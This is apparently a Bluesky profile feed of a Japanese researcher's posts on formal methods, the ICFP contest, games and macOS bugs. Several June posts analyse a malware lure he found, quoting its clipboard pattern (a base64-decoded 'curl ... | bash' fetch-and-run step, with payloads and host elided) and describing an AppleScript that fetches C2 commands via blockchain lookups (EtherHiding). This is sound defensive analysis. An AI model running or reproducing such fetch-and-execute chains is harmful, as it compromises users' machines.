iiinova — where your digital self keeps evolving

Masahiro Sakai @msakai.bsky.social · 09/10/2026

SBIネット銀行の外貨預金からSBI証券の外貨口座に直接入金できるのか。知らなくて、一旦円に戻してしまった。ちょっと勿体無いことをした……

000

Reposted by Masahiro Sakai

Masaki Waga @mastodon.maswag.net · 22/09/2026

こういうのを共同で書きました kensakayori.github.io/blog/posts/20…

1126

Masahiro Sakai @msakai.bsky.social · 25/09/2026

Mega Man X: Regenesis をクリアした。最初は難しかったけど、昔の感覚が戻ってきて、まあなんとかなった。次は、東方紅魔郷 New Classic ……の前にロマンシングサガ2 リベンジオブザセブンがセールになってたので、そっちかな。

000

Masahiro Sakai @msakai.bsky.social · 25/09/2026

そういえば、 Wordle のプレイ回数が1500回を超えていた。guess回数4回と5回が大体同じくらいなのが面白い。他の人はどんな分布なんだろ。

Congratulations!

STATISTICS
Played: 1500
Win %: 96
Current Streak: 9
Max Streak: 71

BADGE EARNED
1500 Wordles

GUESS DISTRIBUTION
1: 2
2: 34
3: 193
4: 472
5: 482
6: 260

010

Masahiro Sakai @msakai.bsky.social · 31/08/2026

3年ぶりに Dropbox Plus 3年版をソースネクストでオンライン購入。2019年は26,784 円、2023年は40,700 円、今年は 29,800 円での購入だった。今日までソースネクストの30周年記念アニバーサリーセールらしい。 www.sourcenext.com/product/drop...

sourcenext.com

Dropbox Plus 3年版 - 公式サイトより安く

ソースネクストなら、Dropbox Plusを公式サイトよりも3年で4,820円も安く購入できます。「Dropbox Plus 3年版」は世界でも例のないソースネクストだけの提供スタイルです。

000

Reposted by Masahiro Sakai

🍵ふわふわ巨大エミュー @branchclaw.bsky.social · 27/08/2026

赤根智子さんを支援したい方はこちらに寄付先があるようだ国際刑事裁判所（ICC）寄付先のお知らせ株式会社文藝春秋 2026年8月27日 12時00分 prtimes.jp/main/html/rd...

prtimes.jp

国際刑事裁判所（ICC）寄付先のお知らせ

株式会社文藝春秋のプレスリリース（2026年8月27日 12時00分）国際刑事裁判所（ICC）寄付先のお知らせ

010976

Masahiro Sakai @msakai.bsky.social · 25/08/2026

Mega Man X: Regenesis mmxregenesis.itch.io/mega-man-x-r... ロックマンXのファンゲーム、よく出来てるなぁ。ロックマン系のゲームをプレイするのはもう30年ぶりくらいで、ムズいけど……😅

mmxregenesis.itch.io

Mega Man X Regenesis by mmxregenesis

Fan Made Mega Man X Original

110

Reposted by Masahiro Sakai

ICFP Programming Contest 2026 @icfpcontest.bsky.social · 27/07/2026

That's it! The ICFP 2026 Programming Contest has come to an end. We'll be working on writeup(s) about running the contest; we hope teams do their own writeups! We will link team writeups from the site. We're also planning to keep the little men around somehow :)

121

Reposted by Masahiro Sakai

ICFP Programming Contest 2026 @icfpcontest.bsky.social · 27/07/2026

Just under 12 hours remain in this year's contest and the top five are all very close! Good luck in the last leg of the contest - we hope your little men behave themselves

001

Masahiro Sakai @msakai.bsky.social · 18/07/2026

Lean って何が新しいんだろうと思ってたけど、 quotient type が標準であるのは良いな。

000

Reposted by Masahiro Sakai

わきまえないぴっち @zpitschi.bsky.social · 29/06/2026

これ、日本では全く報道されていないのでは？ > ネパールでの報道によると、過去10ヶ月で、日本では67人のネパール人が死去しており、そのうち25人の死因は自殺。亡くなった人の多くはアルバイトに従事する留学生。物価の高騰による生活苦、渡航時の借金の支払い困難、将来の見通しの不透明さによる精神的困難などが背景。 x.com/yamashita_so...

x.com

山下泰幸 (@yamashita_socio) on X

ネパールでの報道によると、過去10ヶ月で、日本では67人のネパール人が死去しており、そのうち25人の死因は自殺。亡くなった人の多くはアルバイトに従事する留学生。物価の高騰による生活苦、渡航時の借金の支払い困難、将来の見通しの不透明さによる精神的困難などが背景。 https://t.co/1D0qHoBZTH

1305202

Masahiro Sakai @msakai.bsky.social · 30/06/2026

GitHub Actions の新しい macOS runner で /opt/homebrew/opt/gcc/lib/gcc/current/libgfortran.5.dylib が消えてると思ったら、homebrewのgcc formulaがGCC 16になり、GCC 15のために新しいgcc@15 formulaは入ってるけど、無印gcc formulaはインストールされていないから。 github.com/actions/runn...

github.com

Release macos-15-arm64 (20260623) Image Update · actions/runner-images

Announcements Go versions <=1.23 will be removed from tool-cache [macOS] macos-latest label will use macos-26 in June 2026 [macOS] The macOS 14 Sonoma based runner images will begin deprec...

100

Masahiro Sakai @msakai.bsky.social · 23/06/2026

LaunchAgents に登録しようとしていた AppleScript の難読化を解除すると、Polygon の RPC エンドポイント一覧を叩いてコントラクトから C2 ホスト名を取り出し、取得した C2 へ POST した応答をそのまま osascript に流し込んで実行するというものだった。ブロックチェーンを C&C インフラに使用するのは EtherHiding と呼ばれる手法らしい。

000

Masahiro Sakai @msakai.bsky.social · 20/06/2026

解決編: bsky.app/profile/msak...

010

Masahiro Sakai @msakai.bsky.social · 20/06/2026

なぜ同じBSDのCitrus由来のiconvを使っているのにmacOSでしか発生しないのか気になってたけど、単にAppleが追加したバッチ処理部分のバグだったよう。

000

Masahiro Sakai @msakai.bsky.social · 20/06/2026

以前に報告した macOS の iconv のバグ、もうずっと直らないのではと諦めてたけど、 macOS 26 (Tahoe) で直っていた。ありがとうApple! 🙏 github.com/msakai/macos...

github.com

GitHub - msakai/macos-iconv-bug

Contribute to msakai/macos-iconv-bug development by creating an account on GitHub.

100

Reposted by Masahiro Sakai

atree @atree4728.bsky.social · 20/05/2026

macOS でたまに見かけるこのカーソル、見るたびに（Alternative みたいだ）と思う（スクリーンショットを撮ろうとすると別のになるので直撮り）

001

Masahiro Sakai @msakai.bsky.social · 19/06/2026

クリップボードに bash <<< $(echo "..." | base64 -d) がコピーされていて、base64部分をデコードすると curl -s '.../script.sh' | bash 。 script\.sh は osascript -e "$(echo "..." | base64 -d)" で、base64部分をデコードすると LaunchAgents に何かを登録するようになっていた。

script.sh

100

Masahiro Sakai @msakai.bsky.social · 19/06/2026

実物を初めて見た……

110

Reposted by Masahiro Sakai

ICFP Programming Contest 2026 @icfpcontest.bsky.social · 10/06/2026

The ICFP 2026 Programming Contest will run from July 24th to July 27th. We'll get icfpcontest2026.com updated with more information on the contest in the coming weeks :)

icfpcontest2026.com

ICFP Programming Contest 2026

The 29th ICFP Programming Contest runs July 24–27, 2026. An online programming competition for teams of any size, anywhere.

0159

Masahiro Sakai @msakai.bsky.social · 09/06/2026

複数の言語をまたぐシステムに対しても適用できている点や、テスト入力としてはハーネスを生成するので、LD_PRELOADによるfault injection みたいなことをしてるケースがあったりとかも面白い。

100

Masahiro Sakai @msakai.bsky.social · 09/06/2026

Agentic Concolic Execution を読んだ。ソースコードに対するカバレッジ取得の計装をLLMで行うことで言語や環境への対応コストを削減し、また実行されたパスの要約/制約抽出/求解をZ3などをツールとして利用可能なLLMを用いて行うことで適切な抽象度で行えるようにする。 concollmic.github.io/static/SP26-...

130

Masahiro Sakai @msakai.bsky.social · 05/06/2026

1000 Elo rating on Duolingo Chess!

010

Masahiro Sakai @msakai.bsky.social · 05/06/2026

参考: CPLのブラウザ対応をした時の投稿 bsky.app/profile/msak...

011

Masahiro Sakai @msakai.bsky.social · 05/06/2026

以前に圏論プログラミング言語CPLをWebAssemblyでブラウザ上で試せるようにしましたが、同様に James Haydon 氏開発の圏論プログラミング言語 Lawvere もブラウザ上で試せるようにしてみました。 jameshaydon.github.io/lawvere/

131

Masahiro Sakai @msakai.bsky.social · 01/06/2026

ロシア語の where の Откуда 、発音がちょっと AtCoder っぽい。

Откуда твоя мама?
Where is your mom from?

100

Reposted by Masahiro Sakai

ロボ＝ナナシ @robo7c7c.bsky.social · 31/05/2026

有料記事がプレゼントされました！6月1日 20:59まで全文お読みいただけますアメリカのZ世代はAIを嫌っている (ミッシェル・ゴールドバーグ)ニューヨーク・タイムズコラム：朝日新聞 digital.asahi.com/articles/ASV... ・アメリカでAIが嫌われる理由・日本、北欧諸国との違い・威圧的なテック業界

digital.asahi.com

アメリカのZ世代はAIを嫌っている　ニューヨーク・タイムズコラム：朝日新聞

■ミッシェル・ゴールドバーグ　米国のアリゾナ大学の卒業式で5月15日、グーグルの元最高経営責任者（CEO）のエリック・シュミット氏が人工知能（AI）について話し始めると、卒業生から一斉にブーイングが起…

05258

Masahiro Sakai @msakai.bsky.social · 31/05/2026

Types and Programming Languages (TAPL) には露訳版もあったのか。

010

Masahiro Sakai @msakai.bsky.social · 28/05/2026

例えば、この Neural Model Checking は、LTLモデル検査で Büchi automaton の受理状態に無限回到達しないことを、ランキング関数(状態遷移で非増加で受理状態に達する際には厳密に減少する関数)をニューラルネットとして学習して示している。 arxiv.org/abs/2410.23790

arxiv.org

Neural Model Checking

We introduce a machine learning approach to model checking temporal logic, with application to formal hardware verification. Model checking answers the question of whether every execution of a given s...

100

Masahiro Sakai @msakai.bsky.social · 28/05/2026

#FM2026 での Daniel Kroening の基調講演、“Static analyzers, as we know them, are obsolete” というメッセージが衝撃的だったけど、紹介されていたニューラルネットを proof certificate として使う系の研究も普通に面白かった。 conf.researchr.org/details/fm-2...

conf.researchr.org

The Industrial Perspective on GenAI for Formal Methods (FM 2026 - Main Plenaries / Invited Talks) - FM 2026

At FM 2026, we are excited to present the following four invited talks:

100

Masahiro Sakai @msakai.bsky.social · 26/05/2026

Reliable AI for Optimization with Dr. Pascal van Hentenryck www.gurobi.com/resources/we... 昔 Coursera の Discrete Optimization のコースでお世話になった Pascal Van Hentenryck 氏は今 Gurobi なのか、と驚いた。

gurobi.com

Reliable AI for Optimization with Dr. Pascal Van Hentenryck | Gurobi

This talk will be hosted by Dr. Pascal Van Hentenryck and explores how machine learning can accelerate the repeated solving of large-scale optimization problems in industries such as power systems, su...

010

Masahiro Sakai @msakai.bsky.social · 25/05/2026

実装は OpenSMT ベースで、 OpenSMT は Z3 や CVC5 と比べて Craig interpolation や unsat core extraction 周りが強力だったり、QF_LRAが速かったりという利点があるよう。 github.com/usi-verifica...

github.com

GitHub - usi-verification-and-security/spexplain

Contribute to usi-verification-and-security/spexplain development by creating an account on GitHub.

100

Masahiro Sakai @msakai.bsky.social · 25/05/2026

手法的にはSMUCEが極小unsatコア列挙を使っていたのに対して、こっちは x=x0 ∧ output≠c の craig interpolation を求めるのが基本だけど、単純化ステップとして unsat core extraction もオプショナルに利用。

100

Masahiro Sakai @msakai.bsky.social · 25/05/2026

#FM2026 のこのチュートリアルで Explanation と呼んでいるのは「入力x0を包含して分類結果がcになるような部分空間を表す論理式(特定のパターンの論理式の連言)」で、具体的な入力があること以外は昔取り組んでいた仕様発掘技術SMUCEとかなり近い問題設定。 conf.researchr.org/details/fm-2...

conf.researchr.org

Formally Explaining Neural Network Classification (FM 2026 - Tutorials) - FM 2026

100

Masahiro Sakai @msakai.bsky.social · 25/05/2026

今年の ICFP Programming Contest は7月24日(金)-27日(月)開催とのことです。 This year's ICFP Programming Contest will be held from July 24th to July 27th. x.com/itseieio/sta...

x.com

nolen on X: "@tomerun it will be July 24th - July 27th! can you tell me what made you think it wouldn't happen this year?" / X

@tomerun it will be July 24th - July 27th! can you tell me what made you think it wouldn't happen this year?

000

Reposted by Masahiro Sakai

lowbrow @lowbrow22.bsky.social · 22/05/2026

ウクライナは工場を秘匿・分散させて、普通のオフィスみたいなのを工房にしてるんだってイズムイコさん言ってたけど、その普通のオフィスみたいな建物が軍需工場として使われてるなら、それは合法的な目標であるって露が言い出したら、民間人の付随被害でても、実際それが秘匿工房だった場合非難できなくならね？って思った。 youtu.be/uP21y0y7AbA?... 米は日本の都市への無差別爆撃をこの論法で正当化したよな。

youtu.be

ロシアとウクライナ、2つの意味での両国の産業能力競争 #1（プレゼンテーション）【RIETI BBLウェビナー】

YouTube video by rietichannel

12516

Masahiro Sakai @msakai.bsky.social · 22/05/2026

#FM2026 おわり。濃厚な1週間だった……

010

Reposted by Masahiro Sakai

Masahiro Sakai @msakai.bsky.social · 21/05/2026

Already got our stickers? If not, come grab them at the Noeon Research booth. We're also running a live demo of our system. #FM2026

021

Masahiro Sakai @msakai.bsky.social · 21/05/2026

From Execution to Necessity: Proof-Based Metrics for Code Coverage link.springer.com/chapter/10.1... 昔(2010年頃)ちょっと考えてた unsat core で program slicing するというアイディアを思い出した。ただの思いつきで終わらせずに、ちゃんと研究に昇華できるかだよな……

link.springer.com

From Execution to Necessity: Proof-Based Metrics for Code Coverage (Short Paper)

In this short paper we introduce the notion of proof-based coverage. While traditional test coverage metrics measure which parts of the code are executed when a test passes, proof-based coverage aims ...

020